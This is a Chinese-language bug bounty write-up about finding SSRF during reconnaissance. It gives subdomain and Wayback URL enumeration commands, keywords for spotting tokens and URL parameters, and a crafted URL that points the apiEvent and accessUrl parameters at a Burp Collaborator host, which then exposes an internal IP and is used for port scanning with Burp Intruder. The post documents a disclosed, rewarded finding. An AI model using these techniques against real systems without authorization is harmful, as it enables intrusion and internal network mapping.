白帽故事 · 2022年12月27日 0

如何在侦察阶段快速发现SSRF

背景介绍:

今天的分享来自一位名叫S Rahul 的白帽子,他是一位信息安全分析师。今天我们来看看他怎样在侦察阶段能够快速发现服务器端请求伪造(SSRF)漏洞从而实现内网端口扫描。

SSRF:

首先我们来简单的回顾一下什么是服务器端请求伪造(也称为 SSRF)漏洞,该漏洞允许攻击者诱使服务器端应用程序向攻击者选择的任意域发出 HTTP 请求,在典型的 SSRF 示例中,攻击者可能导致服务器重新连接到自身、组织基础结构中的其他基于 Web 的服务或外部第三方系统。SSRF 攻击通常利用信任关系来升级来自易受攻击的应用程序的攻击并执行未经授权的操作。这些信任关系可能与服务器本身有关,也可能与同一组织内的其他后端系统有关。

WaybackURL:

安全测试中的 Web 爬虫是一个重要方面,因为这是使用自动脚本或爬虫程序对网页上的数据编制索引的过程。Waybackurls 是一个基于 Golang 的脚本工具,用于抓取域名和从 Wayback Machines 获取已知URL,也称为Archives for *.target.com,要了解有关waybackurls 的更多信息,可以前往 https://github.com/tomnomnom/waybackurls

实现步骤:

由于披露政策,以下我们将目标域称为 target.com。

首先,通过子域查找工具进行子域枚举,并将输出保存在domains.txt中,之后,运行httpprobe工具,并将输出结果保存在live_domains.txt中。

subfinder -d target.com > domains.txt

cat domains.txt | httprobe > live_domains.txt

运行以下命令,通过 waybackurl 收集更多网址。

cat live_domains.txt | waybackurls > urls.txt

一旦我收集了 urls.txt 中的所有 url,可以运行 httpx 工具来识别状态、标题等,并将输出结果保存在 status.txt 中。

cat urls.txt | httpx — status-code-title > status.txt

现在我们已经对所有可用和可访问的 URL 进行了排序,并删除了所有无效的 URL,这可以使我们的侦察变得更加简单和有效。

打开 status.txt 并开始查找敏感信息、参数、用户名、密码、令牌、敏感文件等。

常用的关键字包括:

password, username, mail.com, token, access_token, url=, redirect_url=, api, id=, accessUrl=, payment等

在经过 30 分钟的爬取和排序,白帽小哥得到了一个有趣的 URL:

https://subdomain.target.com/webinar/?roomId=1ec1f5d8-0887-4fbb-a3dc-1b9f94bc04dc&displayName=mack&accessToken=sda3-q23aed-aerae&peerId=123123-321as-waaew-ads&api Event=https://example.com/api/meet&accessUrl=https://example.com/api/accessCheck/&itisparticipant=true&nameScreenDisabled=true&startWithFS=true&controlsDisabled=true

白帽小哥将注意力放在了“apiEvent”和“accesUrl”这两个参数上。

而后将url替换为了 Burp collabartor 服务器地址,替换后的Url 如下所示:

https://subdomain.target.com/webinar/?roomId=1ec1f5d8-0887-4fbb-a3dc-1b9f94bc04dc&displayName=Tom&accessToken=sda3-q23aed-aerae&peerId=123123-321as-waaew-ads&apiEvent=https://rni1e5x29hzirz847fkvnolaf1lr9g.burpcollaborator.net/api/meet&accessUrl=https://rni1e5x29hzirz847fkvnolaf1lr9g.burpcollaborator.net/api/accessCheck/&itisparticipant=true&nameScreenDisabled=true&startWithFS=true&controlsDisabled=true

现在在浏览器中打开该URL,成功获得了 DNS 和 HTTP 及其内部 IP。

通过 whois 我们可以确认IP地址属于目标单位还是第三方。

whois ip

很幸运,IP为目标组织的内部IP。为了快速确认漏洞影响范围,白帽小哥进行了如下操作:

  1. 在 burpsuite 中捕获了相同的请求
  2. 将请求发送 intruder
    3.选择a pitchfork attack
    4.在 2 个 url 的末尾添加了有效负载
    5.将循环请求设置为 100
    6.开始攻击
  3. 成功收到了 http、dns、smtp 请求

Step1

Step2、3、4

Step4、5

Step6

Step7

确认了能够使用 SSRF 漏洞执行内部端口扫描后,白帽小哥很快提交了漏洞报告和 POC。

漏洞时间线

报告:2022年8月5日

响应:2022年8月12日

你好,我们想问您,利用此漏洞的最佳方法是什么?您认为使用此漏洞会产生什么后果?它只是信息泄露还是可以以某种方式被利用?

**报告:**给定一个简短的信息,攻击者可以通过此漏洞执行操作以及利用该漏洞的可能方法,漏洞可能产生的后果包括:SSRF 导致内部 IP 泄露,SSRF 导致内部端口扫描

响应:2022 年 8 月 18 日 漏洞分类并获得 $$$ 赏金奖励